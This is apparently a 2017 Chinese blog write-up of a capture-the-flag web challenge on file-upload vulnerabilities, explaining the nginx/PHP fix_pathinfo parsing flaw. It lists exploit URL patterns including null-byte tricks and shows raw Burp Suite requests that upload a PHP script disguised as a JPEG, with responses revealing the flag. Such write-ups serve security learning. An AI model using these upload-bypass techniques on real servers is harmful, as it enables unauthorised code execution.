美文网首页Web writeup
Web安全 - 文件上传

Web安全 - 文件上传

作者: 语落心生 | 来源:发表于2017-08-02 22:34 被阅读0次

文件上传漏洞是指用户上传了一个可执行的脚本文件并通过此脚本文件获得了执行服务器端命令的能力,文件上传本身没有问题,有问题的是文件上传后服务器怎么处理、解释文件。应用场景出口

对于文件上传,有以下几种解决思路:

  • 上传文件WEB脚本语言,服务器的WEB容器解释并执行了用户上传的脚本,导致代码执行;
  • 上传文件FLASH策略文件crossdomain.xml,以此来控制Flash在该域下的行为;
  • 上传文件是病毒、木马文件,攻击者用以诱骗用户或管理员下载执行;
  • 上传文件是钓鱼图片或为包含了脚本的图片,某些浏览器会作为脚本执行,实施钓鱼或欺诈

Network preview:查看到场景服务器为 nginx

nginx.jpg

渗透思路:伪装文件后缀,根据服务器漏洞解析

nginx漏洞原理
 Nginx默认是以CGI的方式支持PHP解析的,普遍的做法是在Nginx配置文件中通过正则匹配设置SCRIPT_FILENAME。当访问www.xx.com/phpinfo.jpg/1.php这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析呢?这就要说到fix_pathinfo这个选项了。 如果开启了这个选项,那么就会触发PHP中的如下逻辑:
PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了

漏洞形式: www.xxxx.com/UploadFiles/image/1.jpg/1.php www.xxxx.com/UploadFiles/image/1.jpg%00.php www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

实现漏洞:,修改文件为1.jpg.php,请求体Content-Type节设置为image/jpeg

在本地部署完burpsuite进行渗透:Request部分

POST / HTTP/1.1
Host: 103.238.227.13:10085
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------31440985419813
Content-Length: 199
Referer: http://103.238.227.13:10085/
Connection: close
Upgrade-Insecure-Requests: 1

-----------------------------31440985419813
Content-Disposition: form-data; name="file"; filename="1.jpg.php"
Content-Type: image/jpeg

-----------------------------31440985419813--

获得的Response请求体:

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Aug 2017 13:53:01 GMT
Content-Type: text/html; charset=utf-8
Connection: close
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.7
Content-Length: 15

����件

咋一看最后一行像是flag,修改Request Accept-Charset节,reonload

Request

POST / HTTP/1.1
Host: 103.238.227.13:10085
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:53.0) Gecko/20100101 Firefox/53.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Type: multipart/form-data; boundary=---------------------------31440985419813
Content-Length: 208
Referer: http://103.238.227.13:10085/
Connection: Keep-Alive
Upgrade-Insecure-Requests: 1

-----------------------------31440985419813
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: image/jpeg

<?php
phpinfo();
?>
-----------------------------31440985419813--

Response:

HTTP/1.1 200 OK
Server: nginx
Date: Wed, 02 Aug 2017 14:32:49 GMT
Content-Type: text/html; charset=utf-8
Connection: keep-alive
Vary: Accept-Encoding
X-Powered-By: PHP/7.0.7
Content-Length: 37

Flag:42e97d465f962c53df9549377b513c7e

相关文章

  • Web安全 - 文件上传

    文件上传漏洞是指用户上传了一个可执行的脚本文件并通过此脚本文件获得了执行服务器端命令的能力,文件上传本身没有问题,...

  • web安全

    【原创】本文主要简述前端web安全知识 文件上传 后端服务器未对文件进行校验和过滤,上传asp/aspx/jsp/...

  • Web 安全实战:文件上传

    Web 安全实战:文件上传 0x00 概述 在网站的运营过程中,不可避免地要对网站的某些页面或内容进行更新,这时便...

  • web安全-文件上传利用

    前言 在渗透测试中,文件上传漏洞利用方式一般是上传可以解析的webshell木马,获取服务器命令执行权限,随着开发...

  • 文件上传漏洞小结

     web上传文件功能非常常见,但如果对上传的文件没有做安全过滤,黑客可能会利用上传功能上传恶意文件并执行,如:we...

  • Web安全之文件上传漏洞

    文件上传# 1.原因: 2.文件上传过程 3.文件上传详细信息及绕过方法 3.1文件以http协议上传,将以 PO...

  • web安全之文件上传漏洞

    文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。文件上传功能本身是一...

  • win与mac上传文件操作

    mac上传文件到web页面使用PyUserInput库下的PyKeyboard键盘操作类 win上传文件到web页面

  • 文件上传中需要考虑的几个问题

    保证服务器的安全把上传的文件放到WEB-INF目录下,因为所有放到WEB-INF目录下的文件,用户是不可以随意的访...

  • web安全(五)上传漏洞(一)

    只要web应用程序允许上传文件就有可能存在文件上传漏洞。那么如何确认web应用程序是否存在上传漏洞?比如:我...

网友评论

    本文标题:Web安全 - 文件上传

    本文链接:https://www.haomeiwen.com/subject/ofoylxtx.html